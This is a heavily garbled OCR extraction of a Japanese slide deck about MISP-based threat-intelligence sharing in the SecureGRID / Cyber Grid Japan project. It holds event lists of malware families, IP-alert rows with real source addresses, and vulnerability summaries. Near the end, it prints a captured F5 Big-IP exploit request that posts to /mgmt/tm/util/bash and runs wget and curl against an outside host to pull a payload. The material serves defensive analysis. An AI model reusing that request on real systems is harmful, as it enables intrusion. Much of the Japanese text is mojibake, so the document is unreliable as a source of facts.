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SecureGRID7ZSA1A 7> AR EF

m MISP(Malware Information Sharing Platform)

A—T2V—-RBBA>TIUZ 1T AR

tH T oY N IA—LA

Welcome! Last login was on Wed, 26 Oct 22 10:56:15 +0900

Add Event Events
Import from...
REST clent 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
List Attributes n MyEvents  Org Events E
Search Attributes [0 & Creatororg Ownerorg D Clusters Tags
O abuse-ch abuse-ch ? 4405837 ) threatfox:malwareprintablevidar| [ jiist:term
View Proposals L
- 2 ? reatfox:malwareprintal :
Events with proposals O abuse-ch abuse-ch ? 4405836 An ble:njrat [E] ilist:term
View delegation requests O abuse-ch abuse-ch ? 4405835 a [ iist:term
View periadic summary (] abuse-ch abuse-ch ? 4405834
& iist:term
O awseon  asoch 240568 (B ratioxmanwareprinabiesgakbot. [ istierm
Automation
O abuse-ch abuse-ch 7 4405832
[ iist:term
(] abuse-ch abuse-ch ? 4405831
[ inst:term
O abuse-ch abuse-ch ? 4405830 @ threatfox:malwareprintable:lokipasswordstealer{pws)
& iist:term
O  awseon  asoch 24405620 (B reatioxmawareprintabledcedid. [ sttorm
O abuse-ch abuse-ch ? 4405828 [ inist:term
O  awseon  asoch 24405627
[ inst:term
(] abuse-ch abuse-ch ? 4405826 a [ iistterm
O abuse-ch abuse-ch ? 4405824 & threatfox:malwareprintable:cobaltstrike
[ iist:term
O« abuse-ch abuse-ch = 4405823 m 3 RedLineStealer E malwarebazaar
CYBER GRID JAPAN
[J v  abusech abuse-ch — 4405822 @ [Amadey | & jexe] & LETTIT2TIN & [tipwhite |
[J v  abusech abuse-ch — 4405821 50 B nirat B)) [E] maiwarebazaar
—

#Attr. Creator user Date

23 threatfox_to_misp@import.localhest ~ 2022-11-15
6 threatfox_to_misp@import.localhost 2022-11-15
n threatfox_to_misp@import.localhost 2022-11-15
17 threatfox_to_misp@import.localhost 2022-11-15
1001 threatfox_to_misp@import.localhost 2022-11-15
2 threatfox_to_misp@import.localhost 2022-11-15
3 threatfox_to_misp@import.localhost 2022-11-15
20 threatfox_to_misp@import.localhost 2022-11-15
9 threatfox_to_misp@import.localhost 2022-11-15
4 threatfox_to_misp@import.localhost 2022-11-15
2 threatfox_to_misp@import.localhost 2022-11-15
12 threatfox_to_misp@import.localhost 2022-11-15
25 threatfox_to_misp@import.localhost 2022-11-15
20 malwarebazaar@feed.import.localhost 2022-11-14
20 malwarebazaar@feed.import.localhost 2022-11-14
18 malwarebazaar@feed.import.localhost 2022-11-14

En
Info
ThreatFox:win.vidar:2022-11-15
ThreatFox:win.njrat:2022-11-15
ThreatFox:win.remcos:2022-11-15

ThreatFox:win.redline_stealer:2022-11-15

ThreatFox:win.gakbot:2022-11-15

ThreatFox:win.netsupportmanager_rat:2022-11-15

ThreatFox:win.nanocore:2022-11-15

ThreatFox:win. lokipws:2022-11-15

ThreatFox:win.icedid:2022-11-15
ThreatFox:win.derat:2022-11-15

ThreatFox:win.bumblebee:2022-11-15

ThreatFox:win.asyncrat:2022-11-15

ThreatFox:Cobalt Strike:2022-11-15

MalwareBazaar : 35564687d50448c51674445392¢576458270dd7

:521e1481 04cc8719122d5bb8127cel

MalwareBazaar : 4db338af6ed38d5765ac1 81606977dad07753000
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SecureGRID7 7

B GEO-MISP

[ ECECIP] DOEA)

CYBER GRID JAPAN

TVREIE

Weicome! Last login was on Wed, 23 Jun 21 03:50:30 +0800

Add Event
Import from...

REST client

List Attributes

Search Aftributes

View Proposals
Events with proposals

View delegation requests

Export

Automation

Events

cprevious | 1 2 |3 | 4

n My Events ~ Org Events

[] Published Creator org

ov GEQLOCATION
v GEOLOCATION
v GEOLOCATION
aov GEOLOCATION
0o GEQLOCATION
ov GEQLOCATION
v GEOLOCATION
v GEOLOCATION
R4 GEOLOCATION
aov GEOLOCATION

Owner org

GEQLOCATION

GEOLOCATION

GEOLOCATION

GEOLOCATION

GEQLOCATION

GEQLOCATION

GEOLOCATION

GEOLOCATION

GEOLOCATION

GEOLOCATION

=

ID

23817

23815

23816

23813

23814

23811

23812

23809

23810

23808

g\llll

A\ W4

&
=
@
B
5

@ ‘anonymous:VPS/Cloud

A

#Attr. #Corr. Creator user

misp@geolocation.co.jp

misp@geolocation.co.jp

misp@geolocation.co.jp

misp@geolocation.co.p

misp@geolocation.co.p

misp@geolocation.co.jp

misp@geolocation.co.jp

misp@geolocation.co.jp

misp@geolocation.co.p

misp@geolocation.co.p

SclPZ —EfR A

2021-05-13

2021-05-12

2021-05-12

2021-05-12

2021-05-12

2021-05-12

2021-05-12

2021-05-12

2021-05-12

2021-05-12

Enter value to search

Info

(2021-05-13) ¥ T ¥ T JP OS-Unknown VPS/Cloud

(hitps://aws.amazon.com/)

(2021-05-12) & T & ZJP Linux VPS/Cloud (http://www.cloudcore.jp/)

(2021-05-12) & T & TJP I0S VPS/Cloud {nttps://vps.gmocioud.com/)

(2021-05-12) ¥ T ¥ T JP Windows VPS/Cloud (https://wuw.digitalfyre.com)

(2021-05-12) ¥ T ¥ T JP Windows VPS/Cloud (nttpsi//securedragon.net/)

(2021-05-12) ¥ T ¥ T JP Android VPS/Cloud (https:/fww.scaleway.com/)

(2021-05-12) & T & T JP Windows VPS/Cloud (Nttps://www.yourserver.se/)

(2021-05-12) & T ¥ ZJP I0S VPS/Cloud

(http://fastianecemmunications.net/)

(2021-05-12) ¥ T ¥ T JP Androld VPS/Gloud (https:/fwww.nocix.net)

(2021-05-12) ¥ T ¥ T JP Mac VPS/Cloud (https://www.onamae-
server.com/vps/)

Filter

Distribution  Actions

Connected <

‘Connected <

‘Connected <

Connected <

Connected <

Connected <

‘Connected <

‘Connected <

Connected <

Connected <

e

Zie
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‘Welcome! Last login was on Thu, 17 Jun 21 09:21:30 +0900

Add Event
Import from...

REST client

List Attributes

Search Attributes.

View Proposals
Events with proposals

View delegation requests

Export

Automation

CYBER GRID JAPAN

Events

« previous 1 2 3 4 5 ] 7 8 9 10 11 12
(]
[ Published ~Creatororg Ownerorg ID Clusters  Tags
0« ipakick ipakick — 65099 E-
o ipakick ipakick - 65100 E-
0+ ipakick ipakick — 65101 E-
Oov ipakick ipakick = 65102 (& [0
0O+ ipakick ipakick — 65094 E-
Oov ipakick ipakick = 65095 (& [0
0+ ipakick ipakick — 65096 E-
0+ ipakick ipakick = 65007 (& [0
0+ ipakick ipakick — 65098 -
0+ ipakick ipakick — 65088 )P
0 ipakick ipakick — 65089 -
0+ ipakick ipakick — 65090 )P
0v ipakick ipakick — 65091 -
0+ ipakick ipakick — 65002 )P
Ov ipakick ipakick — 65093 -
0+ ipakick ipakick — 65082 E-
O ipakick ipakick — 65083 E-
0+ ipakick ipakick — 65084 E-
0w ipakick ipakick — 65085 _
0+ ipakick ipakick — 65086 E-
0w ipakick ipakick — 65087 E-
0+ ipakick ipakick — 65076 E-
Ov ipakick ipakick — 65077 E-

#Attr

#Corr. Creator user

ipakick@ipa-misp.sg.coe ad jp
ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.jp
Ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.jp
Ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.jp
Ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.jp
Ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.|p
Ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.|p
Ipakick@ipa-misp.sg.coe.ad.jp
ipakick@ipa-misp.sg.coe.ad.|p
ipakick@ipa-misp.sg.coe ad jp
ipakick@Iipa-misp.sg.coe.ad.Jp
ipakick@ipa-misp.sg.coe ad jp
ipakick@Iipa-misp.sg.coe.ad.Jp
ipakick@ipa-misp.sg.coe ad jp
ipakick@Iipa-misp.sg.coe.ad.Jp
ipakick@ipa-misp.sg.coe ad jp

ipakick@ipa-misp.sg.coe.ad.jp

next »

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

2021-06-11

Info

[IPAlert] 2021-06-11 port:445 access from 219.167.13.11
[IPAlert] 2021-06-11 port:23 access from 122.20.209.64
[IPAlert] 2021-06-11 port:445 access from 111.101.74.105
[IPAlert] 2021-06-11 port:23 access from 134.180.211.19
[IPAlert] 2021-06-11 port:445 access from 60.156.123.156
[IPAlert] 2021-06-11 port:445 access from 118.9.6.130
[IPAlert] 2021-06-11 port:23 access from 125.192.58.88
[IPAlert] 2021-06-11 port:445 access from 126.142.250.56
[IPAlert] 2021-06-11 port:23 access from 122.131.142.156
[IPAlert] 2021-06-11 port:445 access from 119.240.120.25
[IPAlert] 2021-06-11 port:445 access from 122.27.60.121
[IPAlert] 2021-06-11 port:445 access from 124.110.223.173
[IPAlert] 2021-06-11 port:445 access from 153.178.141.127
[IPAlert] 2021-06-11 port:23 access from 180.63.127.49
[IPAlert] 2021-06-11 port:23 access from 126.61.63.12
[IPAlert] 2021-06-11 port:445 access from 60.38.140.116
[IPAlert] 2021-06-11 port:445 access from 182.158.91.138
[IPAlert] 2021-06-11 port:445 access from 60.112.57.133
[IPAlert] 2021-06-11 port:23 access from 42.125.189.166
[IPAlert] 2021-06-11 port:23 access from 126.122.63.65
[IPAlert] 2021-06-11 port:445 access from 118.236.232.159
[IPAlert] 2021-06-11 port:445 access from 153.208.15.247

[IPAlert] 2021-06-11 port:445 access from 126.13.37.244

Enter value to search

Distribution  Actions

Connected &
Connected <
Connected 4
Connected <
Connected 4
Connected <
Connected 4
Connected <
Connected <
Connected <
Connected <
Connected <
Connected <
Connected <
Connected <
Connected
Connected <
Connected ¢
Connected <
Connected ¢
Connected <
Connected ¢

Connected <

Fae
Fie
Fue
Fie
Fie
Fie
Fie
Fie
Fie
Fie
Fie
Fie
Fie
Fie
Fie
FEoe
Fie
Fuoe
Fie
Fuoe
Fie
Fuoe
rFie

'S
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(1FZIRDIED) 7 S50 7 > X iEED {AC

n SHIREEMME ~@ [fortigate_to_mispl OUU—X~
https://qgithub.com/LAC-Japan/fortigate to misp

#—E2 -8R | (©2022%118 28

SecureGRID7 5 7 ¥ A DiEEBIHE#1 ~MISPOERZEYR—rT5
fortigate_to_mispy ZA—7> Y —ATAM~

ALy kfYFUYzYA | [ €%2UF< |

@ 1y

O 0 0 ((note EBEETD

ZhEBlE, A= FUv R . IrVOBERTT,

REERFR L fcSecureGRID7 5+ 7 Y A DEB O—E T, FortiGate® 2+ 2 J 7+ A5 EMISPIC
B89 %Y —Jl Tfortigate_to_mispy EREL. ATV —ATaLELE. MELELESR
P, RENCEDESBY—ILBOL EZBNALET.
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https://github.com/LAC-Japan/fortigate_to_misp
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JPCERT/CClE. FOZEH 'GitHubh 5C2H —/\—DIFE#R &S T 2 TIL™ T PVSingle,
EREULELL,

ELEURL :
* https://blogs.jpcert.or.jp/ja/2022/07 /vsingle.html (JPCERT/CC)

ERE  HAsftcv o
A : 2022/07/10
AFIY D EEOOSINT
TLP : White{ PUBLIC]
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(1EZIRDIRB3) Y1/ —-BE N NEY D LAC
BRICIRBIBR—1—AD
LF>o2v)iOFSH—EX [911] ICEATSBLR—b

« A Deep Dive Into the Residential Proxy Service ‘911’
« https://krebsonsecurity.com/2022/07/a-deep-
dive-into-the-residential-proxy-service-911/

CYBER GRID JAPAN ’f 21


https://krebsonsecurity.com/2022/07/a-deep-dive-into-the-residential-proxy-service-911/

(1EZIRDIRB3) Y1/ —-BE N NEY D LAC
BRICIRBIEBR_—1—A?

SERIBIE(MFAYEIBS T4 VS 0F v S R—2DIFXK

o OktaDFRELRAIBIRZIBD KRR T 1w > TF > ~_R—> [0ktapus]
« https://blog.group-ib.com/0ktapus
« Microsoft3657« w2 OB L TL\D [Caffeine] H—EX
« https://www.mandiant.com/resources/blog/caffeine-phishing-service-platform
- MFAZ[o]3# 9" B Phishing-as-a-Service(PhaaS) [EvilProxy |l
« https://resecurity.com/blog/article/evilproxy-phishing-as-a-service-with-mfa-
bypass-emerged-in-dark-web
« CiscoMYanluowang S>HADITV(ICEATDIA > 27> hEMIRAZHS
« https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html

CYBER GRID JAPAN { 22


https://blog.group-ib.com/0ktapus
https://www.mandiant.com/resources/blog/caffeine-phishing-service-platform
https://resecurity.com/blog/article/evilproxy-phishing-as-a-service-with-mfa-bypass-emerged-in-dark-web
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html
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KNOWN EXPLOITED VULNERABILITIES{#!

180
160
140

120

100

80 m
6

4

-1 n 1

0

2013 2014 2015 2016 2017 2018 2019 2020 2021 2022

o

o

o

CISA Known Exploited Vulnerabilities Catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog

CYBER GRID JAPAN * 23
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B O~ O5F1IEsEE(74) ICDVWTHRANTHD

=SecureGRID PortalZz{> CIEERINE S BRI EIRIDRR =

@ F5 Big-IPODRESS4(CVE-2022-1388)

@ Atlassian Confluence®Hesg4(CVE-2022-26134)
® VMware®Dffesg4%(CVE-2022-22954)

@ Apache APISIXDRfESS 1 (CVE-2022-24112)

® Zyxel Firewall/VPNDRESE4E

(CVE-2022-30525)

® ProxyNotShell(CVE-2022-41040/CVE-2022-41082)

@ FortinetXEmICHITDERE

CYBER GRID JAPAN *

O

B DRSS (CVE-2022-40684)
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Exploit 1— RZRAE

LN 9 DWNETTIPE

1481IPs
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5. 148IPsDBEENIE
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=" SecureGRID
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SecureGRID;ERAZEH iAC

mSecureGRID & —ADAESEERIE Y NMABRER(11/2R)

®F5 Big-IP|2Atlassian @Apache ®Zyxel |(®ProxyNotShell (?Fortinet .

=% GEO-MISP 1654
="¥ IPA-MISP 4 4
=% LAC-MISP 54 30 266 188 32
=58 ZDAMISP 7 10 7 7 1 538
LA OSINT 92 22 136 193 105 2180 0 2728
LT —4 58 12 3 1 1 75
JSOCH: 1104 1779 5113

T I I I N I N T

CYBER GRID JAPAN * 7



SecureGRID;ERAZEH iAC

mE€D1: GEO-MISPOEY MERHSIENR

®F5 Big-IP(2Atlassian (VMware |[@Apache ®Zyxel |©ProxyNotShell (?Fortinet

=-% GEO-MISP
=25 IPA-MISP
=% LAC-MISP 188
== ZOMBMISP 538

e OSINT « A TVPS/Cloud &ETorhVK¥(6:4)

AT 4

~ - @DEY bdDH(Z, [Paid Proxyl (CEEHTBIPH 1
BOG R TERN, MTiREY RUIRD DT 113

TR I
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SecureGRID;ERAZEH iAC

mE€D2: IPA-MISPDE Y MERHSIER

Fortinet

IPA-MISP

=¥ GEO-MISP
"% IPA-MISP
="¥ LAC-MISP
== ZOAtMISP
HftOSINT

H1tAIE T —4
I1SOCT— 44t 1 o o mos  com

Security Vendors' Analysis

[IPAlert] 2022-05-21 port:80 access from 11?.-

[IPAlert] 2022-05-22 port:80 access from 117.

/28
[ ‘lls\ CMC Threat Intelligence @ Malware Abusix () Clean

Acronis () Clean ADMINUSLabs () Clean

AIGC (MONITORAPP) (/) Clean AlienVault () Clean

W
CYBER GRID JAPAN
— alphaMountain.ai () Clean Antiy-AVL () Clean
——
. L .




SecureGRID;ERAZEH iAC

mE€D2: IPA-MISPOEY MERDSIEM ()

®F5 Big-IP(@Atlassian @Apache ®2Zyxel |©®ProxyNotShell (?Fortinet .

="% GEO-MISP 1654
="% IPA-MISP 4

# e salt FILIP_ AR [ISOCF—#ff] TEw RLTULVE
DT, FHMERRLUTHE

== ZOAtMISP 7

L+ OSINT 105 2180 0 2728
LR T4 3 1 1 75
JSOCT—#ts 1779 480 9 5113

1255 2248 895 mm...ﬁmm

e

CYBER GRID JAPAN ‘f

.I.




SecureGRID;ERAZEH iAC

B€MD2: IPA-MISPOEY MERMSIEMH(HRE)

.-

=2* GEO-MISP - BIUIP_AT. 5/21,22(COF5 BIG-IPOMESs % &
s IPA-MISP 4| DANZ MZERAMUTULE

=% LAC-MISP 54
="% ZOAMISP 7 |® /\:—/—l_t“) NOEFRIBE (LDl e ? ZHER L
w2 OSINT 59| HIC>FTEDFER. 5/22(CFHILCLVE

LTS~

, POST /mamt/tm/util/bash HTTP/1.1,"{" "command”":""run™", " "utilCmdArgs"":""-c wget -q http://106. ‘big Il cu
rl http://106. \Vbig""}", "lser-Anent: Mazilla/S @ (Windows NT 10.9; Win64; x64) AppleWNebKit/537.36 (KHTML, like Gecko) Ch g

rome/63.0.3239.84 Safari/537.36",2022-05-22T710:30:33+0900

o 2807

CYBER GRID JAPAN f 31



SecureGRID;ERAZEH

m€MD2: IPA-MISPOEY MERMSIEMH(HRE)

3 DDA N hOEERE R

St \Z—hwhk  IP_A 5/22 IP_A F5 Big-IPOMESS BT

Al \BIPY7 K C
IPA-MISP IP_A 5/21,22 1P A _%rjﬂé;éogﬁtg\ilgggiﬂﬂ

JSOCT—4fit IP_A 5/21,22 IP_A F5 Big-IPORESs B AT

-

VT CI(FEBBRIMHER(1/96) o Teht. EBEDT—F Y — XDk

Ehs. [SEIP_ADKRI MIREFE=NCLV\DEgEENEL]
EUT, BEDOEVWEHREL TR ZTENTEEDIS,

CYBER GRID JAPAN * 32




= Yall. )



F&h
n YA N—RBICHF B HREE ORI EHET

CYBER GRID JAPAN *

34



	サイバー攻撃情報連携の羅針盤
	スライド番号 2
	スライド番号 3
	スライド番号 4
	スライド番号 5
	スライド番号 6
	スライド番号 7
	スライド番号 8
	スライド番号 9
	スライド番号 10
	スライド番号 11
	スライド番号 12
	スライド番号 13
	スライド番号 14
	スライド番号 15
	スライド番号 16
	スライド番号 17
	スライド番号 18
	スライド番号 19
	スライド番号 20
	スライド番号 21
	スライド番号 22
	スライド番号 23
	スライド番号 24
	スライド番号 25
	スライド番号 26
	スライド番号 27
	スライド番号 28
	スライド番号 29
	スライド番号 30
	スライド番号 31
	スライド番号 32
	スライド番号 33
	スライド番号 34

